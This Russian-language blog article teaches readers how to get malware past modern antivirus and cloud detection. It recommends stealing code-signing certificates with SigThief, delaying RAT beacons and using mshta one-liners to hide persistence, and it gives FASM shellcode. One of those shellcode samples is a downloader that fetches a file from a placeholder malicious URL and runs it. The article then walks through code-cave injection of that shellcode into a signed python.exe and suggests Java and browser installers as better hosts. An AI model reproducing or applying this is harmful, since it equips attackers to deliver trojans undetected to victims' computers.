June 18, 2025

Как обходить антивирусы в 2025-м году или всё, что Вам нужно знать об обходе ложных срабатываний

Приветствую всех читателей!

Очень долгое время я не знал, о чём писать и занимался своими крупными проектами. И вот, наконец, в прекрасный дождливый день ко мне пришла идея...

Данная статья будет иметь достаточно много полезной и очень актуальной информацией, которая отсутствует на данный момент в открытом доступе. Данная информация основана исключительно на моём личном опыте. Помимо этого, я буду разбавлять её своими размышлениями...

Одно из таких размышлений — моя мысль о том, как сильно ассемблер набирает популярность на пике развития нейросетей. Каким бы старым не было решение, всегда самым важным и главенствующим фактором остаются его возможности. Ассемблер — невероятно могучий язык программирования, он позволяет делать всё... А теперь представим этот могучий инструмент в руках человека, который захочет обойти защиту, основанную на машинном обучении, которую обучали на шаблонных экземплярах, написанных на высокоуровневых языках... Нейросеть точно к такому не будет готова, и сегодня я Вам это продемонстрирую.

Немного теории о ложных срабатываниях и внутреннем устройстве антивирусов

Итак, современные антивирусные решения в большинстве своём основаны на облачной защите и машинном обучении. В информационной безопасности есть определённые термины, которые помогают определять поведение программы. Одна из баз таких терминов называется MITRE. В данной базе собраны легитимные, подозрительные и вредоносные техники для определения уровня риска в ходе работы программы.

Помимо этого, существуют различные фреймворки для дополнительного определения вредоносных техник — Sigma и Yara одни из таких. В открытом доступе (на GitHub) лежат большие базы правил под вышеперечисленные фреймворки, и они активно используются, к примеру, на VirusTotal:

Пример Sigma-правила на определение закрепления в автозапуск, которая используется на VirusTotal:

Автозапуск, обычно, считается критическим правилом, но и с высокими ложными срабатываниями, поэтому антивирусы, обычно, на него не реагируют.

Важно понимать, что за логикой большинства антивирусных программ скрывается логика обычного системного администратора. Всё просто — если программа пытается скрыть свой функционал и выполняет подозрительные и агрессивные махинации — высок риск получить ложное срабатывание. Про автозапуск сейчас речь не будет идти, поскольку это правило само по себе в 90% случаев выдаёт ложное срабатывание — согласитесь, автозапуск может быть у любой программы. А теперь думаем как антивирус — что может быть не у любой программы?... Хуки функций, операции с чужими процессами, махинации с реестром (попытки отключения Defender), махинации с сервисами, подозрительные соединения на неизвестный порт, неизвестный протокол, упакованный\чрезмерно защищённый код (кодовая база виртуальной машины)... Перечислять можно долго, но, простым языком, это и есть критические MITRE-метки. В них также могут входить различные попытки обхода анализа и отладки — тоже наводит подозрение, согласитесь.

Но всё это может быть и у легитимной программы, тогда как антивирус может сам фильтровать ложные срабатывания? Сертификаты, информация, метаданные, ресурсы, TLS, SEH (различные механизмы безопасности), работа с вводом-выводом, чистый отчёт в облаке и кодовая база — вот ответ.

Теперь по порядку... Сертификаты являются очень важной частью легитимной программы. За сертификат платят деньги и доказывают легитимность программы, поэтому вредоносные намерения исключены — обычно у таких программ железные 0\72 на VirusTotal.

Защитные механизмы также являются важной частью для обхода ложных срабатываний. Антивирусы ценят валидацию хеша и обработку всех непредсказуемых событий в программе, это доказывает её легитимные намерения, все данные способы были реализованы в упаковщике C# кода (компиляция в релиз полностью без зависимостей, на выходе Вы получаете программу весом около 500 килобайт, в которую сразу входит виртуальная машина IL, данная программа защищена от различных патчей и инъекций, она сразу перестаёт работать при изменениях в бинарнике).

У антивируса есть так называемая база "вредоносных генов" — это различные отпечатки вредоносных программ, история всех вредоносов в одном месте. Как известно, очень много вредоносного кода было написано на С и С++, поэтому "Hello, World!" на данных языках имеет много обнаружений на VirusTotal:

"Hello, World!" на C++.

Про "гены" было написано в самой статье от ESET, где они рассказали про устройство сигнатуры Augur (а точнее, движка): https://www.welivesecurity.com/2017/06/20/machine-learning-eset-road-augur/

Итак, выше были описаны концепции статического и динамического анализа антивирусов. Поверхностно, но исключительно логика.

Подведём итоги:

  1. Никаких упаковщиков и агрессивной защиты в программе. Кодовая база должна быть чистой и уникальной — в последнее время часто пишут вредоносный код на NodeJS и GoLang, поскольку их кодовая база достаточно чиста и пока не разложилась на вредоносные гены, как С\С++. Используйте редкие компиляторы, добавляйте метаданные, иконку, информацию о программе. Также можно украсть сертификат с помощью утилиты SigThief (https://github.com/secretsquirrel/SigThief) — всё это поможет избежать статического анализа и повысить уровень доверия со стороны нейросети.
  2. Никаких неизвестных протоколов или сырых запросов. Никаких постоянных висящих соединений (особенно сразу после старта). Если уж Вы и пишите какой-нибудь RAT — продумывайте логику так, чтобы пинг и отправка данных работала неагрессивно и не сразу! Антивирус при первом же прокруте в облаке получит все MITRE метки на сбор данных и снесёт Вашу программу. У легитимного кода чаще всего есть GUI, это помогает повысить доверие и обойти облачную защиту, ведь антивирус в облаке не может нажимать на кнопки в GUI. Для запросов к серверу исключительно использовать известные порты и протоколы - HTTP\HTTPS, SSH, FTP и другие. Это поможет избежать вредоносной сигнатуры со стороны Defender, такие как Wacatac, Wacapew, Sabsik и других. Данные сигнатуры относятся к поведенческому анализу — Defender обнаружил агрессивные и критические метки в поведении Вашей программы, за что и удалил. Вам нужно проанализировать, на каком моменте была обнаружена программа (в самом начале, в середине или перед вызовом какой-то функции), и выччислить, что именно повлекло за собой вредоносную метку.
  3. Использовать отложенные функции (если во вредоносных целях), или запрашивать подтверждение у пользователя (в легитимных целях). Например, если Вам нужно после запуска добавиться в автозапуск — спросите разрешения пользователя через MessageBox, это значительно повысит доверие. Если нужно скрыть это — обязательно использовать сторонние сервисы, дабы антивирус не связал поведение к Вашему процессу, как пример одной из реализаций. Например, Вы можете через WinExec запустить cmd.exe+mshta.exe однострочную команду, которая добавит Вас в автозапуск. Но при этом сразу после запуска этой команды — запустите cmd.exe, который перезапустит Вас через 60 секунд, а сами полностью закройтесь. Это значительно усложнит связи для антивируса.

В целом, обход антивирусов в 2025-м году больше не состоит из банальных сигнатур, и от этого, лично мне, только интереснее в 2 раза. Если раньше могли просто сделать морфинг кода, и антивирусу тут же стирало память — сейчас за антивирусами стоит облако с нейросетью и поведенческим анализом, и просто так вредоносный функционал уже туда не пронести.

Но что добавляет изюминки в это всё? Ассемблер! Малопопулярный и невероятно могучий инструмент, через который можно делать такие вещи, которых нейросеть в жизни не видала.

Теперь же перейдём к самому интересному. Представим ситуацию, что у Вас есть какой-либо функционал, но Вам очень не хочется создавать иконку, метаданные, сигнатуры и сертификаты для данной программы. И даже не хочется воровать это из чужих программ. Ведь это долго и требует много сил.

Что позволяет нам сделать ассемблер? Патч! Уже около 6-ти лет я наслаждаюсь могучими патчами на ассемблере и до сих пор удивляюсь тому, насколько же круто иметь возможность писать маленький и позиционно-независимый код, который можно исполнить и внедрить в любую область памяти...

Обходим ложные срабатывания и маскируем код на ассемблере

Для начала, вкратце расскажу о том, что такое шеллкод. Для тех, кто не читал мою статью с патчем для Themida — https://teletype.in/@fasmgenius/TOAPA-zmKA5

Шеллкод - это позиционно-независимый бинарный (сырой) код. Самого высокого качества шеллкоды получаются именно на ассемблере. И писать их удобнее и гибче всего именно на ассемблере, ведь ассемблер позволяет ещё на этапе компиляции сразу зашифровать код через XOR-макрос, например. Или же упаковать весь код в стек через push во время исполнения (через макрос для получения байтов кода, опять же). Если быть точнее, всё это позволяет делать великий FASM-компилятор.

Так что же я задумал... Для начала, давайте напишем минимальный "Hello, World" на FASM, и посмотрим его результаты на VirusTotal.

Просто ужасно! 8\72 — ещё больше, чем у С\С++. Хотя, казалось бы, 1.5 килобайта, и такой код:

format	PE GUI
entry	start
include	'win32a.inc'
section	'.text' readable executable
	start:
		push	0
		push	0
		push	0
		push	0
		call	dword[MessageBox]
		ret
section	'.idata' import readable
	library	user32, 'user32.dll'
	import	user32,\
		MessageBox, 'MessageBoxA'

Абсолютно ничего вредоносного. Но почему же так случилось, спросите Вы... Из всех перечисленных сигнатур у нас только статические — XPack.Gen сигнатура указывается на повторяющийся код (push). Антивирус подумал, что он сгенерирован (.Gen) или упакован. "Unsafe" и "Malicious" указывают на то, что у кода нет метаданных и какой-либо информации — файл абсолютно пуст, один только код.

Значит для обхода нам нужны доверенные сигнатуры и кодовая база.

Теперь перепишем данный код на шеллкод, и начинаем снимать ложные срабатывания:

format	BINARY
use32
rva fix 0+
RVA fix 

include	'win32a.inc'


off 	equ -_eip+
addr 	equ ebp+off

	start:
		call	_eip
		_eip:
		pop	    ebp
		
		include	'import.inc'

		push	0
		push	0
		push	0
		push	0
		call	dword[addr MessageBox]

		push	0
		call	dword[addr ExitProcess]

IMPORT_START:
	library	user32, 'user32.dll',\
		kernel32, 'kernel32.dll'

	import	kernel32,\
		ExitProcess, 'ExitProcess'

	import	user32,\
		MessageBox, 'MessageBoxA'

Я использую свои самописные включаемые библиотеки для инициализации шеллкода. Внутри них — простейшая реализация, которая ходит по импорт-таблице (IMPORT_START) и импортирует все функции и библиотеки через GetProcAddress+LoadLibraryA, найденные через PEB, для работы шеллкода:

https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html

https://mohamed-fakroud.gitbook.io/red-teamings-dojo/shellcoding/leveraging-from-pe-parsing-technique-to-write-x86-shellcode

(чтиво по обучению написанию шеллкодов)

Теперь осталось дело за малым — нужно найти жертву. Программу с легитимной кодовой базой, и внедрить в неё наш шеллкод, весом в 390 байт.

Я буду использовать 32-х битный интерпретатор Python (python.exe). Дальше в ход идёт ручное заражение:

1. Пишем скрипт или код на ассемблере для code-cave инъекции. Данный вид инъекции самый качественный. Скрипт или утилита должна найти пустое место в программе (заполненное нулями или int3) под размер шеллкода, и вставить туда шеллкод

2. Изменить секции, в которую был вставлен шеллкод, и добавить в флаги секции — флаг на запись (необходимо для инициализации шеллкода)

3. Запустить программу в отладчике и проанализировать её работу — где она выходит, какие функции системные вызывает, ОТКУДА она их вызывает и так далее. Будьте внимательны, смотрите на модуль, в котором Вы сейчас находитесь — он должен быть с именем программы. Перехватывать функцию внутри чужого модуля нерекомендуется (хоть и тоже возможно, и результат будет лучше, но программу будет сложнее переносить).

Я поставил точку останова на системной функции WriteConsoleW, дождался её вызова, затем зашёл в "Стек вызовов" в отладчике (x64dbg) и вернулся вышел обратно к главному модулю (откуда был вызов всех функций). И вот мы нашли конечную функцию Python, с которой дальшее идёт переход в python313.dll:

4. Перехватить вызов внутренней функции (исключительно внутренней! Потому что для системных используются релокации, адрес сломается) на вызов Вашего шеллкода

Функция перехвачена на наш шеллкод.

5. Готово!

Результаты аналогичного кода, но с инъекцией в легитимную программу:

По итогу мы сняли 7 ложных срабатываний, и теперь у нашего ассемблерного кода всего одно обнаружение. Которое, к слову, связано с сигнатурами на инициализацию шеллкода. При желании, можно дополнительно переписать и продумать более хитрый способ инициализации шеллкода, и получим чистейшие 0\72 для ассемблерного кода.

Но некоторые могут сказать, что тут всего-лишь MessageBox, и обнаружения бы и так не было. Хорошо! Напишем более подозрительный код на ассемблере — основу "троянов" — загрузчик! Будем использовать самую грязную функцию - URLDownloadToFileA, а затем запустим скачанный файл. Это уже очень опасный код. Посмотрим, сколько мы сможем сбить обнаружений с него!

Код:

format	BINARY
use32
rva fix 0+
RVA fix 
include	'win32a.inc'
off 	equ -_eip+
addr 	equ ebp+off
	start:
		call	_eip
		_eip:
		pop	ebp
		include	'import.inc'
		push	0
		push	0
		call	@f
		db	'index.exe', 0
		@@:
		call	@f
		db	'https://malicious.url', 0
		@@:
		push	0
		call	dword[addr URLDownloadToFile]
		push	SW_SHOW
		call	@f
		db	'index.exe', 0
		@@:
		call	dword[addr WinExec]
		push	0
		call	dword[addr ExitProcess]
IMPORT_START:
	library	urlmon, 'urlmon.dll',\
		kernel32, 'kernel32.dll'
	import	kernel32,\
		ExitProcess, 'ExitProcess',\
		WinExec, 'WinExec'
	import	urlmon,\
		URLDownloadToFile, 'URLDownloadToFileA'

По уже известной методике делаем инъекцию внутрь Python и наблюдаем:

Самый базовый и самый грязный загрузчик - всего 6 обнаружений! Даже без каких-либо защит и с полностью голым шеллкодом. Даже меньше обнаружений, чем у "Hello, World!".

Скажу по секрету — Python далеко не лучший вариант для инъкций. Рекомендую взять за основу Java-установщик, установщик антивируса или браузера. Нужна программа с максимально большим количеством сертификатов, и тогда можно очень легко добиться 0 обнаружений и обхода антивирусов.

Дополнительно:

  1. Зашифровать шеллкод
  2. Добавить поведенческий обход анализа (смотреть на поведение курсора мыши пользователя, или следить за сменой окон — только после смены окна, запускать код)
  3. Модифицировать инициализацию кода
  4. Изменить функции на более качественные и легитимные, а лучше — изменить сам код на более независимый и "внешний". Например, загружать через PowerShell-скрипт — это ещё больше снизит обнаружений

В целом, считаю, что нет смысла дальше добиваться 0 обнаружений, ведь результат и так хороший. А добиться 0 было бы достаточно легко. К тому же, у меня уже есть реальные примеры:

И да, эта программа с 0\69 на VT также была написана на ассемблере и внедрена в легитимную.

Что-ж, теперь Вы знаете, как устроены антивирусы и как их обходить. Надеюсь, я всё понятно расписал и эта статья была Вам полезна. Спасибо за прочтение.

Дополнительно на ознакомление статья от Microsoft о поверхностном устройстве Windows Defender: https://www.microsoft.com/en-us/security/blog/2019/06/24/inside-out-get-to-know-the-advanced-technologies-at-the-core-of-microsoft-defender-atp-next-generation-protection/

С последним обновлением Windows Defender на Windows 11 он стал достаточно конкурентоспособным, хотя и раньше был хорош. Однако вышеперечисленные методы работают и на него, нужно лишь найти золотую жилку — подходящую для инъекции программу. И не забывать про поведенческий анализ — код с загрузчиком — плохой пример, ведь он качает и запускает код сразу после запуска, так делать ни в коем случае нельзя. Необходимо добавить "ветвлений" и запутываний в поведении программы для избежания обнаружения по машинному обучению.